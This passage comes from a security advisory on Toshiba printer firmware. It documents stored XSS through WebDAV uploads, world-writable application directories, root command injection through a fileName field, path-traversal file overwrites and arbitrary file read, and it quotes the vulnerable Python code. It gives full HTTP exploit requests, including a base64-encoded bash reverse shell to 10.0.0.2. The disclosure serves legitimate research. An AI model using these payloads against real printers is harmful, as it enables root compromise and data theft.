PUT File: http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.jsp
PUT File: http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.cgi
PUT File: http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.html
Executes: http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.txt
Executes: http://EBX:toshiba@10.0.0.1:8080/EFilingBoxes/DavTestDir_SIX4x_ZkORvv/davtest_SIX4x_ZkORvv.html
kali%
We can confirm the files are stored inside the printer:
bash-4.1# ls -la /storage/box/EFilingBoxes/
total 16
drwxrwxrwx 4 root root 4096 Mar 9 03:22 .
drwxr-xr-x 9 root root 4096 Mar 9 01:47 ..
drwxrwxrwx 2 root trusted 4096 Aug 12 2018 00000
drwxrwxrwx 2 apache trusted 4096 Mar 9 03:22 DavTestDir_SIX4x_ZkORvv
-rwxrwxrwx 1 root trusted 0 Mar 9 01:47 initialized.sts
bash-4.1# ls -la /storage/box/EFilingBoxes/DavTestDir_SIX4x_ZkORvv
total 52
drwxrwxrwx 2 apache trusted 4096 Mar 9 03:22 .
drwxrwxrwx 4 root root 4096 Mar 9 03:22 ..
-rw-rw-rw- 1 apache trusted 44 Mar 9 03:22 davtest_SIX4x_ZkORvv.asp
-rw-rw-rw- 1 apache trusted 44 Mar 9 03:22 davtest_SIX4x_ZkORvv.aspx
-rw-rw-rw- 1 apache trusted 42 Mar 9 03:22 davtest_SIX4x_ZkORvv.cfm
-rw-rw-rw- 1 apache trusted 66 Mar 9 03:22 davtest_SIX4x_ZkORvv.cgi
-rw-rw-rw- 1 apache trusted 26 Mar 9 03:22 davtest_SIX4x_ZkORvv.html
-rw-rw-rw- 1 apache trusted 37 Mar 9 03:22 davtest_SIX4x_ZkORvv.jhtml
-rw-rw-rw- 1 apache trusted 37 Mar 9 03:22 davtest_SIX4x_ZkORvv.jsp
-rw-rw-rw- 1 apache trusted 24 Mar 9 03:22 davtest_SIX4x_ZkORvv.php
-rw-rw-rw- 1 apache trusted 66 Mar 9 03:22 davtest_SIX4x_ZkORvv.pl
-rw-rw-rw- 1 apache trusted 181 Mar 9 03:22 davtest_SIX4x_ZkORvv.shtml
-rw-rw-rw- 1 apache trusted 19 Mar 9 03:22 davtest_SIX4x_ZkORvv.txt
bash-4.1#
A remote attacker can store files that will contain XSS in the printer web interface.
This vulnerability has been patched in the latest firmware version since the new version of Apache has some changes in the configuration options (the require valid-user
option).
The Toshiba printers support additional programs ("embedded applications") in the latest version of the firmware images.
By default, 2 programs are installed:
Listing of applications installed by default:
It is possible to interact with such applications as shown below:
It was observed that the programs are located inside the /application directory:
Content of /application
:
bash-4.1# cd /application
bash-4.1# ls -la
total 44
drwxr-xr-x 8 root root 4096 Mar 15 11:49 .
drwxr-xr-x 30 root root 4096 Apr 10 18:47 ..
drwxr-xr-x 4 root root 4096 Mar 15 11:50 app
drwxrwxrwx 4 root trusted 4096 Mar 15 11:49 backup
drwx--x--- 3 root trusted 4096 Apr 6 2016 common
drwxr-xr-x 5 root root 4096 Apr 6 2016 framework
drwx------ 2 root root 16384 Apr 6 2016 lost+found
drwxr-xr-x 7 root root 4096 Apr 6 2016 webframework
bash-4.1#
When analyzing the directories inside /application, we can find several insecure permissions.
The backup directory is insecure, with incorrect (777) permissions everywhere:
Content of /application/backup
:
bash-4.1# pwd
/application/backup
bash-4.1#
bash-4.1# ls -la
total 16
drwxrwxrwx 4 root trusted 4096 Mar 15 11:49 .
drwxr-xr-x 8 root root 4096 Mar 15 11:49 ..
drwxrwxrwx 4 root trusted 4096 Mar 15 11:50 initial
drwxrwxrwx 4 root trusted 4096 Mar 15 11:50 latest
bash-4.1# ls -latrR
.:
total 16
drwxr-xr-x 8 root root 4096 Mar 15 11:49 ..
drwxrwxrwx 4 root trusted 4096 Mar 15 11:49 .
drwxrwxrwx 4 root trusted 4096 Mar 15 11:50 initial
drwxrwxrwx 4 root trusted 4096 Mar 15 11:50 latest
./initial:
total 16
drwxrwxrwx 2 apache trusted 4096 Mar 15 11:49 10000000-0000-0000-0000-500000000000
drwxrwxrwx 4 root trusted 4096 Mar 15 11:49 ..
drwxrwxrwx 2 apache trusted 4096 Mar 15 11:50 10000000-0000-0000-0000-500000000001
drwxrwxrwx 4 root trusted 4096 Mar 15 11:50 .
./initial/10000000-0000-0000-0000-500000000000:
total 184
drwxrwxrwx 2 apache trusted 4096 Mar 15 11:49 .
-rwxrwxrwx 1 apache trusted 176778 Mar 15 11:49 apppackage.zip
drwxrwxrwx 4 root trusted 4096 Mar 15 11:50 ..
./initial/10000000-0000-0000-0000-500000000001:
total 256
drwxrwxrwx 4 root trusted 4096 Mar 15 11:50 ..
drwxrwxrwx 2 apache trusted 4096 Mar 15 11:50 .
-rwxrwxrwx 1 apache trusted 250054 Mar 15 11:50 apppackage.zip
./latest:
total 16
drwxrwxrwx 4 root trusted 4096 Mar 15 11:49 ..
drwxrwxrwx 2 apache trusted 4096 Mar 15 11:49 10000000-0000-0000-0000-500000000000
drwxrwxrwx 2 apache trusted 4096 Mar 15 11:50 10000000-0000-0000-0000-500000000001
drwxrwxrwx 4 root trusted 4096 Mar 15 11:50 .
./latest/10000000-0000-0000-0000-500000000000:
total 184
drwxrwxrwx 2 apache trusted 4096 Mar 15 11:49 .
-rwxrwxrwx 1 apache trusted 176778 Mar 15 11:49 apppackage.zip
drwxrwxrwx 4 root trusted 4096 Mar 15 11:50 ..
./latest/10000000-0000-0000-0000-500000000001:
total 256
drwxrwxrwx 4 root trusted 4096 Mar 15 11:50 ..
drwxrwxrwx 2 apache trusted 4096 Mar 15 11:50 .
-rwxrwxrwx 1 apache trusted 250054 Mar 15 11:50 apppackage.zip
The app directory is also insecure, due to incorrect permissions everywhere:
Content of /application/app
:
bash-4.1# pwd
/application/app
bash-4.1# ls -la
total 16
drwxr-xr-x 4 root root 4096 Mar 15 11:50 .
drwxr-xr-x 8 root root 4096 Mar 15 11:49 ..
drwx--x--- 6 apache trusted 4096 Apr 10 18:42 10000000-0000-0000-0000-500000000000
drwx--x--- 6 apache trusted 4096 Mar 15 11:50 10000000-0000-0000-0000-500000000001
bash-4.1# ls -la /application/app/10000000-0000-0000-0000-500000000000
total 24
drwx--x--- 6 apache trusted 4096 Apr 10 18:42 .
drwxr-xr-x 4 root root 4096 Mar 15 11:50 ..
drwx--x--- 2 apache trusted 4096 Mar 15 11:49 appjob
drwx--x--- 4 apache trusted 4096 Mar 15 11:49 appstorage
drwx--x--- 2 apache trusted 4096 Mar 15 11:49 config
drwx--x--- 7 apache trusted 4096 Mar 15 11:50 package
bash-4.1#
Analysis of /application/app/10000000-0000-0000-0000-500000000000
, with insecure permissions:
10000000-0000-0000-0000-500000000000/package/program/settingapp/server/views:
total 48
drwx--x--- 3 apache trusted 4096 Apr 10 17:42 .
drwx--x--- 5 apache trusted 4096 Apr 10 17:42 ..
-rwxrwxrwx 1 apache trusted 67 Apr 11 2022 __init__.py
drwxrwxrwx 2 apache trusted 4096 Apr 10 17:42 __pycache__
-rwxrwxrwx 1 apache trusted 6334 Apr 11 2022 command.py
-rwxrwxrwx 1 apache trusted 2882 Apr 11 2022 device.py
-rwxrwxrwx 1 apache trusted 1018 Apr 11 2022 history.py
-rwxrwxrwx 1 apache trusted 1144 Apr 11 2022 localization.py
-rwxrwxrwx 1 apache trusted 982 Apr 11 2022 resultstorage.py
-rwxrwxrwx 1 apache trusted 1933 Apr 11 2022 storage.py
-rwxrwxrwx 1 apache trusted 3103 Apr 11 2022 view.py
10000000-0000-0000-0000-500000000000/package/program/settingapp/server/worker:
total 16
drwx--x--- 3 apache trusted 4096 Apr 10 17:42 .
drwx--x--- 5 apache trusted 4096 Apr 10 17:42 ..
drwxrwxrwx 2 apache trusted 4096 Apr 10 17:42 __pycache__
-rwxrwxrwx 1 apache trusted 1892 Apr 11 2022 commandthread.py
package/program/settingapp/server/worker:
total 16
-rwxrwxrwx 1 apache trusted 1892 Apr 11 2022 commandthread.py
drwx--x--- 5 apache trusted 4096 Apr 10 17:42 ..
drwxrwxrwx 2 apache trusted 4096 Apr 10 17:42 __pycache__
drwx--x--- 3 apache trusted 4096 Apr 10 17:42 .
package/program/settingapp/server/worker/__pycache__:
total 12
-rw-rw-rw- 1 apache trusted 1968 Apr 10 17:42 commandthread.cpython-35.pyc
drwx--x--- 3 apache trusted 4096 Apr 10 17:42 ..
drwxrwxrwx 2 apache trusted 4096 Apr 10 17:42 .
package/program/backgroundapp:
total 68
-rwxrwxrwx 1 apache trusted 21409 Apr 11 2022 filefunction.py
-rwxrwxrwx 1 apache trusted 3738 Apr 11 2022 exclusivecontrol.py
-rwxrwxrwx 1 apache trusted 24233 Apr 11 2022 eventhandler.py
-rwxrwxrwx 1 apache trusted 1326 Apr 11 2022 backgroundapp.py
drwx--x--- 5 apache trusted 4096 Mar 15 11:49 ..
drwx--x--- 3 apache trusted 4096 Mar 15 11:50 .
drwxrwxrwx 2 root trusted 4096 Mar 15 11:50 __pycache__
By default, the applications are stored inside /application/app
.
We can confirm that the Python scripts have insecure permissions, allowing any local user to overwrite them and get a Local Privilege Escalation.
A remote attacker using the insecure upload functionality will be able to overwrite any Python file and get Remote Code Execution.
A local attacker can overwrite any file.
It was observed that the Remote Command program allows an attacker to get Remote Code Execution as root.
When uploading a file with the fileName |id
, the command id
will be executed as root on the printer. There is a command injection inside the fileName
variable:
The HTTP request is:
POST /aplpx/server/10000000-0000-0000-0000-500000000000/remotecommand/settingapp/command/execute HTTP/1.1
Host: 10.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 32
Origin: http://10.0.0.1:8080
Connection: close
Referer: http://10.0.0.1:8080/aplpx/client/10000000-0000-0000-0000-500000000000/index.html?v=1.0.8
Cookie: Locale=en-US,en#q=0.5; BrowserLang=en_US; pageTrack=MAIN%3DADMIN%26SUB%3DAPPLICATION%26CAT%3DAPPLINK; clicked=0; TopAccessURL=http%3A//10.0.0.1%3A8080/%3FMAIN%3DTOPACCESS; lastVisited=APPLINK; SessionID=Session_02b918cd-3074-4f4f-afd6-396ed3fb7f94; IgnoreSessionTimeout=1; Session=10.0.0.2.c57914f5d5c3263959918454856ac9f3
{"file":"test","fileName":"|id"}
And the command id
will be executed as root on the printer:
2023/04/10 18:16:07 CMD: UID=0 PID=10794 | sh -c chmod 666 /application/app/10000000-0000-0000-0000-500000000000/appstorage/normal//remotecommand//test3.test|id 2023/04/10 18:16:07 CMD: UID=0 PID=10796 | id 2023/04/10 18:16:07 CMD: UID=0 PID=10795 | chmod 666 /application/app/10000000-0000-0000-0000-500000000000/appstorage/normal//remotecommand//test3.test
A PoC is provided, allowing getting a connect-back shell as root:
The HTTP request is:
POST /aplpx/server/10000000-0000-0000-0000-500000000000/remotecommand/settingapp/command/execute HTTP/1.1
Host: 10.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 345
Origin: http://10.0.0.1:8080
Connection: close
Referer: http://10.0.0.1:8080/aplpx/client/10000000-0000-0000-0000-500000000000/index.html?v=1.0.8
Cookie: Locale=en-US,en#q=0.5; BrowserLang=en_US; pageTrack=MAIN%3DADMIN%26SUB%3DAPPLICATION%26CAT%3DAPPLINK; clicked=0; TopAccessURL=http%3A//10.0.0.1%3A8080/%3FMAIN%3DTOPACCESS; lastVisited=APPLINK; SessionID=Session_02b918cd-3074-4f4f-afd6-396ed3fb7f94; IgnoreSessionTimeout=1; Session=10.0.0.2.c57914f5d5c3263959918454856ac9f3
{"file":"UEsDBAoAAAAAAEMyilbGNbk7BQAAAAUAAAAIABwAdGVzdC50eHRVVAkAA13iM2Tu/TNkdXgLAAEE6AMAAAToAwAAdGVzdApQSwECHgMKAAAAAABDMopWxjW5OwUAAAAFAAAACAAYAAAAAAABAAAAgIEAAAAAdGVzdC50eHRVVAUAA13iM2R1eAsAAQToAwAABOgDAABQSwUGAAAAAAEAAQBOAAAARwAAAAAA","fileName":"test-exec.zip$(echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMi84MCAwPiYxCg==|base64 -d|bash)"}
The malicious payload is generated using base64 to remove bad characters. It is a standard connect-back shell, connecting to 10.0.0.2 to port 80 over TCP:
kali% echo 'bash -i >& /dev/tcp/10.0.0.2/80 0>&1' | base64 -w0;echo
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMi84MCAwPiYxCg==
The resulting command is executed on the printer:
root 13040 0.0 0.1 13260 2344 ? S 18:50 0:00 sh -c chmod 666 /application/app/10000000-0000-0000-0000-500000000000/appstorage/normal//remotecommand//test-exec.zip$(echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMi84MCAwPiYxCg==|base64 -d|bash)
And we can confirm the command was executed from Python, from the parent processus alappmanager:
bash-4.1# pstree init-+-MemoryCaptureSt---MemoryCapture---sleep |-aleSCL |-alhp9100---21*[{alhp9100}] |-2*[alipp---2*[{alipp}]] |-allld2d |-alllmnr |-allprng---21*[{allprng}] |-alnetefiRemotei |-alstage2-+-alstage2 | `-23*[{alstage2}] |-alusbPrint---2*[{alusbPrint}] |-alwsdiscovery |-alwsmex |-alwsprint---{alwsprint} |-alwsscanner---3*[{alwsscanner}] |-bash---pspy32---9*[{pspy32}] |-cissm-+-alAddressBookMg | |-alCloning | |-alExportImport | |-alLogRetriever | |-alLogmanager---{alLogmanager} | |-alPanelStartLED---{alPanelStartLE} | |-alPanelUIMessag---{alPanelUIMessa} | |-alServiceUIPlug | |-alUiFrameWork---21*[{alUiFrameWork}] | |-alViewPlugin---3*[{alViewPlugin}] | |-alaccountmgr---2*[{alaccountmgr}] | |-alappmanager-+-python-+-sh---sh---bash---bash---pstree | | | `-5*[{python}] | | |-python---5*[{python}] | | `-15*[{alappmanager}] [...]
The vulnerable code is located in the /application/app/10000000-0000-0000-0000-500000000000/package/program/settingapp/server/views/command.py
Python script, with sources on lines 34 and 59:
1 #!/usr/bin/env python 2 # -*- coding: utf-8 -*- 3 # Copyright(c) 2021 Toshiba Tec Corporation, All Rights Reserved. [...] 23 class CommandView(View): 24 25 @view_config(route_name=View.BASE_ROUTE_NAME + 'upload_command_file', request_method='POST', renderer='json', xhr=True) 26 def upload_command_file(self): 27 Logger.i("start upload command file to appstorage") [...] 30 storage_rootpath = FileHandler.getStorageRootPath(storage_type="normal") [...] 33 # configure file path that specified using File API 34 payloads = self.request.json_body [1] get value from the attacker 35 Logger.i("request body: " + str(payloads)) [...] 59 commandRunner = CommandThread(payloads["fileName"]) [2] execute a commands with the name controlled by the attacker 60 commandthread = eapi.apps.AppThread.create(commandRunner) 61 commandthread.start()
The CommandThread
class is implemented in /application/app/10000000-0000-0000-0000-500000000000/package/program/settingapp/server/worker/commandthread.py
and is a wrapper to remoteCommandObj.execute()
where we can find the sink:
33 file_path = '/command/' + str(self.commandName) 34 35 remoteCommandObj = eapi.apps.RemoteCommand.create() 36 result = remoteCommandObj.execute(eapi.apps.AppStorageType.AppStorageType_Normal, file_path, eapi.apps.RemoteCommandUser.RemoteCommandUser_Admin, True, result_dir_path) 37 # Logger.w(str(result)) 38 39 res_status = result.getStatus() 40 ExcecutionStatus.STATUS = str(res_status) 41 Logger.w("command status: " + ExcecutionStatus.STATUS) 42 command_type = result.getType() 43 ExcecutionStatus.COMMANDTYPE = command_type = str(command_type) 44 Logger.w("command type: " + ExcecutionStatus.COMMANDTYPE) 45 ExcecutionStatus.RESULTFILENAME = result.getFileName().split('/')[-1]
A remote attacker can get Remote Code Execution as root.
It was observed that the Remote Command program allows an attacker to get Remote Code Execution by overwriting existing files (e.g. Python files containing executable code).
The Remote Command application allows uploading documents (as zip files) using the /aplpx/server/10000000-0000-0000-0000-500000000000/remotecommand/settingapp/command/upload_command_file
API. When sending a zip file with the filename ../
, it is possible to overwrite any file within the directory of the Python application.
By default, when uploading a file through the web interface of the Remote Command application, the file will be copied into 3 different directories:
/work/al/tmp/remotecommand/
/application/app/10000000-0000-0000-0000-500000000000/appstorage/normal/command/
/application/app/10000000-0000-0000-0000-500000000000/appstorage/normal/remotecommand/
The /application/app/10000000-0000-0000-0000-500000000000/
directory corresponds to the Remote Command application which is installed by default.
This /application/app/10000000-0000-0000-0000-500000000000/
directory has several directories containing Python scripts:
bash-4.1# pwd
/application/app/10000000-0000-0000-0000-500000000000
bash-4.1# ls -la
total 24
drwx--x--- 6 apache trusted 4096 Apr 10 18:40 .
drwxr-xr-x 4 root root 4096 Mar 15 11:50 ..
drwx--x--- 2 apache trusted 4096 Mar 15 11:49 appjob
drwx--x--- 4 apache trusted 4096 Mar 15 11:49 appstorage
drwx--x--- 2 apache trusted 4096 Mar 15 11:49 config
drwx--x--- 7 apache trusted 4096 Mar 15 11:50 package
bash-4.1#
An attacker uploading a zip file with a filename containing ../../
will be able to overwrite any file in /application/app/10000000-0000-0000-0000-500000000000
and in subdirectories of /application/app/10000000-0000-0000-0000-500000000000
:
Malicious HTTP request sent to the Remote Command application:
POST /aplpx/server/10000000-0000-0000-0000-500000000000/remotecommand/settingapp/command/upload_command_file HTTP/1.1
Host: 10.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 278
Origin: http://10.0.0.1:8080
Connection: close
Referer: http://10.0.0.1:8080/aplpx/client/10000000-0000-0000-0000-500000000000/index.html?v=1.0.8
Cookie: Locale=en-US,en#q=0.5; BrowserLang=en_US; pageTrack=MAIN%3DADMIN%26SUB%3DAPPLICATION%26CAT%3DAPPLINK; clicked=0; TopAccessURL=http%3A//10.0.0.1%3A8080/%3FMAIN%3DTOPACCESS; lastVisited=APPLINK; SessionID=Session_02b918cd-3074-4f4f-afd6-396ed3fb7f94; IgnoreSessionTimeout=1; Session=10.0.0.2.c57914f5d5c3263959918454856ac9f3
{"file":"UEsDBAoAAAAAAEMyilbGNbk7BQAAAAUAAAAIABwAdGVzdC50eHRVVAkAA13iM2Tu/TNkdXgLAAEE6AMAAAToAwAAdGVzdApQSwECHgMKAAAAAABDMopWxjW5OwUAAAAFAAAACAAYAAAAAAABAAAAgIEAAAAAdGVzdC50eHRVVAUAA13iM2R1eAsAAQToAwAABOgDAABQSwUGAAAAAAEAAQBOAAAARwAAAAAA","fileName":"../../../test-get-cmd.zip"}
The resulting file is now located in /application/app/10000000-0000-0000-0000-500000000000
:
bash-4.1# ls -la /application/app/10000000-0000-0000-0000-500000000000
total 28
drwx--x--- 6 apache trusted 4096 Apr 10 18:41 .
drwxr-xr-x 4 root root 4096 Mar 15 11:50 ..
drwx--x--- 2 apache trusted 4096 Mar 15 11:49 appjob
drwx--x--- 4 apache trusted 4096 Mar 15 11:49 appstorage
drwx--x--- 2 apache trusted 4096 Mar 15 11:49 config
drwx--x--- 7 apache trusted 4096 Mar 15 11:50 package
-rw-rw-rw- 1 apache trusted 171 Apr 10 18:41 test-get-cmd.zip
bash-4.1#
An attacker can overwrite any Python file in the Remote Execution application (in /application/app/10000000-0000-0000-0000-500000000000
) to get Remote Code Execution.
The vulnerable code is located in the /application/app/10000000-0000-0000-0000-500000000000/package/program/settingapp/server/views/command.py
Python script:
1 #!/usr/bin/env python 2 # -*- coding: utf-8 -*- 3 # Copyright(c) 2021 Toshiba Tec Corporation, All Rights Reserved. [...] 23 class CommandView(View): 24 25 @view_config(route_name=View.BASE_ROUTE_NAME + 'upload_command_file', request_method='POST', renderer='json', xhr=True) 26 def upload_command_file(self): 27 Logger.i("start upload command file to appstorage") [...] 30 storage_rootpath = FileHandler.getStorageRootPath(storage_type="normal") [...] 33 # configure file path that specified using File API 34 payloads = self.request.json_body [1] get value from the attacker 35 Logger.i("request body: " + str(payloads)) [...] 55 command_path = storage_rootpath + '/command/' + str(payloads["fileName"]) [2] generate a path controlled by the attacker 56 with open(command_path.encode('utf-8'), mode='wb') as _file: [3] open this path 57 _file.write(binary_data) [4] write content to the path [...]
The vulnerable source code can be seen to:
A remote attacker can overwrite any Python file in the Remote Execution application (in /application/app/10000000-0000-0000-0000-500000000000
) to get Remote Code Execution.
It was observed that the Remote Command program allows an attacker to get Remote Code Execution.
The Remote Command application allows uploading documents (as zip files) using the /aplpx/server/10000000-0000-0000-0000-500000000000/remotecommand/settingapp/command/get_command_info
API. When sending a zip file with the filename ../
, it is possible to overwrite any file within the directory of the Python application.
Malicious HTTP request sent to the Remote Command application:
POST /aplpx/server/10000000-0000-0000-0000-500000000000/remotecommand/settingapp/command/get_command_info HTTP/1.1
Host: 10.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 269
Origin: http://10.0.0.1:8080
Connection: close
Referer: http://10.0.0.1:8080/aplpx/client/10000000-0000-0000-0000-500000000000/index.html?v=1.0.8
Cookie: Locale=en-US,en#q=0.5; BrowserLang=en_US; pageTrack=MAIN%3DADMIN%26SUB%3DAPPLICATION%26CAT%3DAPPLINK; clicked=0; TopAccessURL=http%3A//10.0.0.1%3A8080/%3FMAIN%3DTOPACCESS; lastVisited=APPLINK; SessionID=Session_02b918cd-3074-4f4f-afd6-396ed3fb7f94; IgnoreSessionTimeout=1; Session=10.0.0.2.c57914f5d5c3263959918454856ac9f3
{"file":"UEsDBAoAAAAAAEMyilbGNbk7BQAAAAUAAAAIABwAdGVzdC50eHRVVAkAA13iM2Tu/TNkdXgLAAEE6AMAAAToAwAAdGVzdApQSwECHgMKAAAAAABDMopWxjW5OwUAAAAFAAAACAAYAAAAAAABAAAAgIEAAAAAdGVzdC50eHRVVAUAA13iM2R1eAsAAQToAwAABOgDAABQSwUGAAAAAAEAAQBOAAAARwAAAAAA","fileName":"test-get-cmd.zip"}
Such file will be stored inside /application/app/10000000-0000-0000-0000-500000000000/appstorage/normal/command_info/test-get-cmd.zip
. Using ../
will allow an attacker to store the resulting file in an attacker-controlled path, overwriting Python scripts, for example.
The vulnerable code is located in the /application/app/10000000-0000-0000-0000-500000000000/package/program/settingapp/server/views/command.py
Python script. The fileName
value is controlled by the attacker on line 142:
1 #!/usr/bin/env python 2 # -*- coding: utf-8 -*- 3 # Copyright(c) 2021 Toshiba Tec Corporation, All Rights Reserved. [...] 113 @view_config(route_name=View.BASE_ROUTE_NAME + 'get_command_info', request_method='POST') 114 def get_command_info(self): [...] 127 payloads = self.request.json_body [...] 131 storage_rootpath = FileHandler.getStorageRootPath(storage_type="normal") [...] 141 binary_data = base64.b64decode(payloads['file'].encode()) 142 command_path = storage_rootpath + '/command_info/' + str(payloads["fileName"]) [1] open a file with the path controlled by the attacker 143 with open(command_path.encode('utf-8'), mode='wb') as _file: 144 _file.write(binary_data) [...]
A remote attacker can overwrite any Python file in the Remote Execution application (in /application/app/10000000-0000-0000-0000-500000000000
) to get Remote Code Execution.
It was observed that the Remote Command program allows an attacker to read any file using a Local File Inclusion vulnerability.
The Remote Command application allows retrieving files. Such code is implemented inside the resultstorage
API.
The vulnerable code is located in the /application/app/10000000-0000-0000-0000-500000000000/package/program/settingapp/server/views/resultstorage.py
Python script. The filename
value is controlled by the attacker on line 21:
[...] 16 @view_config(route_name=View.BASE_ROUTE_NAME + 'resultstorage') 17 def resultGetStorageFileLink(request): 18 try: 19 Logger.w(str(request)) 20 payloads = request.GET 21 filename = payloads["filename"] 22 Logger.w(filename) 23 rootpath = FileHandler.getStorageRootPath("normal") 24 25 path = glob.glob(rootpath + '/*/' + filename) 26 Logger.w(str(path)) 27 res = FileResponse(path[0]) 28 res.content_type = 'application/zip' 29 res.content_disposition = 'attachment; filename='+filename 30 return res [...]
The filename variable is provided by an attacker in the address (?filename=/path/to/file
). This file will be opened and its content will be sent to the attacker, due to the use of FileResponse()
, implemented in Pyramid.
An attacker can read any file on the printer.
It is possible to overwrite any file when installing a new application in Administration > Application > Application List > Install Application:
When installing an application, several requests will be sent to the printer:
/tapy/server/appmgmt/uploadPackage
,/tapy/server/appmgmt/extractPackage
.The vulnerability can be found when the first HTTP POST is sent (to /tapy/server/appmgmt/uploadPackage
).
The /uploadPackage
route is defined in the /registration/al/TopAccessPy/server/screenfacade/appmgmt/__init__.py
file to call the upload_package
function:
Content of /registration/al/TopAccessPy/server/screenfacade/appmgmt/__init__.py
:
[...] 11 config.add_route('upload_package', 'uploadPackage', xhr=False) [...]
The implementation of the view is done in the /registration/al/TopAccessPy/server/screenfacade/appmgmt/views.py
file:
3 important variables are set:
SessionID
on line 179, retrieved from the cookie,packagename
on line 188 retrieved from the POST-data,package_file
on line 189 retrieved from the POST-data.Content of /registration/al/TopAccessPy/server/screenfacade/appmgmt/views.py
:
170 @view_config(route_name='upload_package', xhr=False, renderer='string') 171 def upload_package(request): 172 log.warning("++++++++++++++++++++++++++++++++") 173 log.warning("upload_package : Start ") 174 SessionID = '' 175 session = ' ' 176 csrfpId = '' 177 178 if 'SessionID' in request.cookies: 179 SessionID = request.cookies['SessionID'] <--------------- SessionID is retrieved from the cookie 180 if 'Session' in request.cookies: 181 session = request.cookies['Session'] 182 if 'txtCSRFPID' in request.POST: 183 csrfpId = request.POST['txtCSRFPID'] 184 185 log.info('Session ID obtained from request :' + SessionID) 186 log.info('csrfpId obtained from request:' + csrfpId) 187 188 packagename = request.POST['txtSelectedFileName'] <---------- packagename is retrieved from the POST-data 189 package_file = request.POST['idFileName'].file <------------- package_file is retrieved from the POST-data 190 191 validationMap = applicationManagementModel.validate_user(SessionID, session, csrfpId) 192 193 if validationMap['VALIDATION_STATUS'] == 'PASSED': 194 log.info('User Validation : SUCCESS') 195 data = applicationManagementModel.upload_package(packagename, package_file, SessionID) 196 #log.info("Response recieved in an attempt to upload " : " + str(data)) 197 log.warning("upload_package : End ") 198 log.warning("++++++++++++++++++++++++++++++++") 199 return data 200 else: 201 log.info('User Validation : FAILURE') 202 log.warning("upload_package : End ") 203 if "HTTP_REQUEST_FORBIDDEN" in validationMap: 204 return HTTPForbidden("Error 403 : Forbidden Request") 205 else: 206 return json.dumps(validationMap)
During the execution flow, on line 191, the method validate_user()
is called but SessionID
is never used, except for printing it in the logs:
Content of /registration/al/TopAccessPy/server/screenfacade/appmgmt/applicationmanager.py
:
388 @classmethod 389 def validate_user(cls, sessionId, session, csrfpid): 390 log.warning("applicationManagementModel: validate_user start") 391 log.info("Session ID recieved : " + sessionId)
The execution flow then continues to line 195 with the call the method upload_package
implemented in the /registration/al/TopAccessPy/server/screenfacade/appmgmt/applicationmanager.py
file, with the 3 attacker-controlled variables:
SessionID
packagename
package_file
Content of /registration/al/TopAccessPy/server/screenfacade/appmgmt/applicationmanager.py
:
464 @classmethod 465 def upload_package(cls, packagename, package_file, SessionID): 466 log.warning("applicationManagementModel: upload_package start") 467 468 upload_destination = '/work/al/tmp/upload/' + SessionID + '/' 469 if not os.path.exists(upload_destination): 470 os.makedirs(upload_destination) 471 472 try: 473 log.warning(" upload_package start") 474 #if type(packagename) == str: 475 #packagename = unicode(packagename, "utf-8", errors="ignore") 476 #else: 477 #packagename = unicode(packagename) 478 log.warning(" upload_package start -- test end") 479 #absolute_package_path = os.path.join(upload_destination , packagename).encode() 480 absolute_package_path = str(os.path.join(upload_destination , str(packagename.encode('ascii','ignore')))) 481 with open(absolute_package_path, 'wb') as output_file: 482 shutil.copyfileobj(package_file, output_file) 483 484 return "SUCCESS" 485 486 except Exception as err: 487 log.exception("Error In exitApp(upload_file) : " + str(err)) 488 return "FAILURE"
As shown previously, the attacker has full control over these 3 variables:
SessionID
(views.py:179 from the Cookie SessionID
variable)packagename
(views.py:188 from the POST-data txtSelectedFileName
variable)package_file
(views.py:189 from the POST-data idFileName
variable)These 3 variables are not filtered and can contain any value.
In the HTTP request, the Session
cookie is used to check the authorisation but the SessionID
can be set to anything as shown previously (it is not used in the validate_user
method). This SessionID
value is used to store the resulting file (on line 468) without any filtering.
The execution flow is below:
465 def upload_package(cls, packagename, package_file, SessionID):
[...]
-- SessionID controlled by an attacker, the upload_destination variable contains /work/al/tmp/upload/ + SessionID + /
468 upload_destination = '/work/al/tmp/upload/' + SessionID + '/'
[...]
-- absolute_file_path contains /work/al/tmp/upload/ + SessionID + / + packagename
480 absolute_package_path = str(os.path.join(upload_destination , str(packagename.encode('ascii','ignore'))))
481 with open(absolute_package_path, 'wb') as output_file:
-- and the uploaded file is then stored inside /work/al/tmp/upload/ + SessionID + packagename
482 shutil.copyfileobj(package_file, output_file)
An attacker can then set SessionID=../../path/to/any/file
in the HTTP request to overwrite any file.
Finally, the method upload_file_to_session_folder
is also vulnerable (this method is similar to the upload_package
method):
